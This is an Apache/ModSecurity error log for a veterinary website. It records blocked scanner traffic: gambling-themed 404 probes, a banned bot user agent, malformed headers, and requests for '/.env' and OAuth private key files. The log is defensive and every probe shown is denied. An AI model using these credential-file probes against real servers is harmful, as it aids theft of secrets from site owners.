[Mon Mar 09 23:36:03.525952 2026] [:error] [pid 5779:tid 5868] [client 194.247.173.99:58998] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aa7o4waHbHwtklaurgVkyQAAAA0"]
[Mon Mar 09 23:36:06.018846 2026] [:error] [pid 44503:tid 44509] [client 194.247.173.99:46828] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aa7o5spGKFA8jlKDDh11DQAAAcI"]
[Mon Mar 09 23:36:08.501678 2026] [:error] [pid 5783:tid 5901] [client 194.247.173.99:46836] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aa7o6AdiZJ1FQPtsTNTxeQAAAEc"]
[Mon Mar 09 23:36:11.156056 2026] [:error] [pid 2145:tid 2181] [client 194.247.173.99:46852] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aa7o63czzpD9XHtKwuBXEAAAAU0"]
[Mon Mar 09 23:36:14.967569 2026] [:error] [pid 2145:tid 2193] [client 194.247.173.99:35510] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aa7o7nczzpD9XHtKwuBXEQAAAVU"]
[Mon Mar 09 23:36:17.554288 2026] [:error] [pid 6074:tid 6102] [client 194.247.173.99:35516] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aa7o8RgvXHMVGYw_ElwVuAAAAMs"]
[Mon Mar 09 23:36:20.077056 2026] [:error] [pid 44504:tid 44551] [client 194.247.173.99:35518] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aa7o9Hri56-8oxPimmhqpwAAAhE"]
[Mon Mar 09 23:36:22.680715 2026] [:error] [pid 44503:tid 44515] [client 194.247.173.99:41092] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aa7o9spGKFA8jlKDDh11KAAAAcg"]
[Mon Mar 09 23:36:25.144112 2026] [:error] [pid 5783:tid 5918] [client 194.247.173.99:41098] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aa7o-QdiZJ1FQPtsTNTxfwAAAFg"]
[Mon Mar 09 23:36:27.804521 2026] [:error] [pid 5779:tid 5864] [client 194.247.173.99:41108] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aa7o-waHbHwtklaurgVlEwAAAAk"]
[Mon Mar 09 23:36:30.314626 2026] [:error] [pid 44504:tid 44538] [client 194.247.173.99:41120] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aa7o_nri56-8oxPimmhqtwAAAgQ"]
[Mon Mar 09 23:36:33.398771 2026] [:error] [pid 5787:tid 5930] [client 194.247.173.99:60542] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aa7pAbGpMgQ18gGUaFMiowAAAIg"]
[Mon Mar 09 23:36:35.878270 2026] [:error] [pid 5787:tid 5941] [client 194.247.173.99:60556] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aa7pA7GpMgQ18gGUaFMirAAAAJM"]
[Mon Mar 09 23:36:38.515121 2026] [:error] [pid 5787:tid 5942] [client 194.247.173.99:60572] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aa7pBrGpMgQ18gGUaFMiuQAAAJQ"]
[Mon Mar 09 23:36:41.007770 2026] [:error] [pid 5783:tid 5910] [client 194.247.173.99:60576] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aa7pCQdiZJ1FQPtsTNTxiQAAAFA"]
[Mon Mar 09 23:36:43.640549 2026] [:error] [pid 44503:tid 44514] [client 194.247.173.99:49084] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aa7pC8pGKFA8jlKDDh11QQAAAcc"]
[Mon Mar 09 23:36:46.298279 2026] [:error] [pid 5787:tid 5942] [client 194.247.173.99:49088] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aa7pDrGpMgQ18gGUaFMizQAAAJQ"]
[Mon Mar 09 23:36:48.940504 2026] [:error] [pid 5783:tid 5899] [client 194.247.173.99:49090] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aa7pEAdiZJ1FQPtsTNTxkQAAAEU"]
[Mon Mar 09 23:36:51.426666 2026] [:error] [pid 44503:tid 44514] [client 194.247.173.99:49092] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aa7pE8pGKFA8jlKDDh11SgAAAcc"]
[Mon Mar 09 23:36:54.066986 2026] [:error] [pid 5783:tid 5910] [client 194.247.173.99:34556] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aa7pFgdiZJ1FQPtsTNTxlQAAAFA"]
[Mon Mar 09 23:36:57.317934 2026] [:error] [pid 44503:tid 44513] [client 194.247.173.99:34562] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aa7pGcpGKFA8jlKDDh11VAAAAcY"]
[Tue Mar 10 00:22:00.876345 2026] [:error] [pid 64615:tid 64692] [client 43.165.65.75:42108] [client 43.165.65.75] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aa7zqCTfqTdxLs_cfGQFigAAAM0"]
[Tue Mar 10 01:50:11.202857 2026] [ssl:error] [pid 32798:tid 32806] [client 104.168.28.15:33590] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://macfieldsvet.com.au/
[Tue Mar 10 02:22:26.298816 2026] [:error] [pid 64775:tid 64784] [client 221.229.106.25:60736] [client 221.229.106.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aa8P4uD6wJvkR_jrqnW7CAAAAQU"]
[Tue Mar 10 05:23:22.369223 2026] [:error] [pid 7904:tid 8005] [client 62.60.131.218:58622] [client 62.60.131.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aa86StqdH-GCmASfJqHe3QAAAA0"]
[Tue Mar 10 05:40:49.511338 2026] [:error] [pid 8193:tid 8235] [client 62.60.131.218:62172] [client 62.60.131.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aa8-YR27LTs3sNpMSvwVTwAAAM8"]
[Tue Mar 10 06:31:33.102760 2026] [:error] [pid 32295:tid 32318] [client 103.214.20.135:56580] [client 103.214.20.135] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aa9KRY_FltxBAKWrlwjNgAAAAMA"]
[Tue Mar 10 06:31:33.105106 2026] [:error] [pid 32295:tid 32321] [client 103.214.20.135:56581] [client 103.214.20.135] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/storage/oauth-private.key"] [unique_id "aa9KRY_FltxBAKWrlwjNfwAAAMM"]
[Tue Mar 10 06:31:33.105241 2026] [:error] [pid 32295:tid 32338] [client 103.214.20.135:56582] [client 103.214.20.135] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/storage/oauth-public.key"] [unique_id "aa9KRY_FltxBAKWrlwjNfgAAANQ"]
[Tue Mar 10 08:02:18.887599 2026] [:error] [pid 31977:tid 32114] [client 54.38.38.130:52754] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aa9fii_lkX6-Mo89SmHx6AAAAEk"]
[Tue Mar 10 08:02:20.975481 2026] [:error] [pid 13407:tid 13442] [client 54.38.38.130:40586] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "aa9fjNqN0GV-aESMjNyGGgAAAVA"]
[Tue Mar 10 08:02:21.286849 2026] [:error] [pid 32295:tid 32338] [client 54.38.38.130:35946] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aa9fjY_FltxBAKWrlwjlTQAAANQ"]
[Tue Mar 10 08:02:23.801898 2026] [:error] [pid 32295:tid 32333] [client 54.38.38.130:35962] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aa9fj4_FltxBAKWrlwjlTgAAAM8"]
[Tue Mar 10 08:02:24.043896 2026] [:error] [pid 13407:tid 13444] [client 54.38.38.130:35974] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aa9fkNqN0GV-aESMjNyGGwAAAVI"]
[Tue Mar 10 08:02:26.428179 2026] [:error] [pid 37324:tid 37364] [client 54.38.38.130:57422] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aa9fkmVvKYS3ogzUMPdcpwAAARc"]
[Tue Mar 10 08:02:27.048206 2026] [:error] [pid 37324:tid 37360] [client 54.38.38.130:57424] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aa9fk2VvKYS3ogzUMPdcqAAAARM"]
[Tue Mar 10 08:02:29.003912 2026] [:error] [pid 13407:tid 13443] [client 54.38.38.130:57430] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aa9fldqN0GV-aESMjNyGIQAAAVE"]
[Tue Mar 10 08:02:29.531469 2026] [:error] [pid 31977:tid 32123] [client 54.38.38.130:57438] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aa9flS_lkX6-Mo89SmHx9wAAAFI"]
[Tue Mar 10 08:02:31.553235 2026] [:error] [pid 13407:tid 13431] [client 54.38.38.130:57442] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aa9fl9qN0GV-aESMjNyGJgAAAUU"]
[Tue Mar 10 08:02:33.050716 2026] [:error] [pid 37324:tid 37363] [client 54.38.38.130:57444] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aa9fmWVvKYS3ogzUMPdcqwAAARY"]
[Tue Mar 10 08:02:34.346296 2026] [:error] [pid 37324:tid 37342] [client 54.38.38.130:57450] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aa9fmmVvKYS3ogzUMPdcrwAAAQE"]
[Tue Mar 10 08:02:35.872019 2026] [:error] [pid 31977:tid 32121] [client 54.38.38.130:57454] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aa9fmy_lkX6-Mo89SmHyAAAAAFA"]
[Tue Mar 10 08:02:36.893621 2026] [:error] [pid 13407:tid 13429] [client 54.38.38.130:37156] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aa9fnNqN0GV-aESMjNyGPwAAAUM"]
[Tue Mar 10 08:02:38.741116 2026] [:error] [pid 13407:tid 13441] [client 54.38.38.130:37158] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aa9fntqN0GV-aESMjNyGQgAAAU8"]
[Tue Mar 10 08:02:39.303124 2026] [:error] [pid 13407:tid 13431] [client 54.38.38.130:37160] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aa9fn9qN0GV-aESMjNyGRAAAAUU"]
[Tue Mar 10 08:02:41.883082 2026] [:error] [pid 13407:tid 13432] [client 54.38.38.130:37170] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aa9fodqN0GV-aESMjNyGRwAAAUY"]
[Tue Mar 10 08:02:41.995659 2026] [:error] [pid 37324:tid 37350] [client 54.38.38.130:37166] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aa9foWVvKYS3ogzUMPdcuQAAAQk"]
[Tue Mar 10 08:02:44.384865 2026] [:error] [pid 31977:tid 32120] [client 54.38.38.130:37184] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aa9fpC_lkX6-Mo89SmHyBgAAAE8"]
[Tue Mar 10 08:02:44.635817 2026] [:error] [pid 13407:tid 13434] [client 54.38.38.130:37188] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aa9fpNqN0GV-aESMjNyGSwAAAUg"]
[Tue Mar 10 08:02:47.067909 2026] [:error] [pid 37324:tid 37358] [client 54.38.38.130:39702] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aa9fp2VvKYS3ogzUMPdcugAAARE"]
[Tue Mar 10 08:02:47.495371 2026] [:error] [pid 31977:tid 32115] [client 54.38.38.130:39708] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aa9fpy_lkX6-Mo89SmHyCwAAAEo"]
[Tue Mar 10 08:02:49.817918 2026] [:error] [pid 37324:tid 37364] [client 54.38.38.130:39712] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aa9fqWVvKYS3ogzUMPdcvAAAARc"]
[Tue Mar 10 08:02:50.557142 2026] [:error] [pid 37324:tid 37356] [client 54.38.38.130:39714] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aa9fqmVvKYS3ogzUMPdcvgAAAQ8"]
[Tue Mar 10 08:02:52.262971 2026] [:error] [pid 13407:tid 13428] [client 54.38.38.130:39724] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aa9frNqN0GV-aESMjNyGVQAAAUI"]
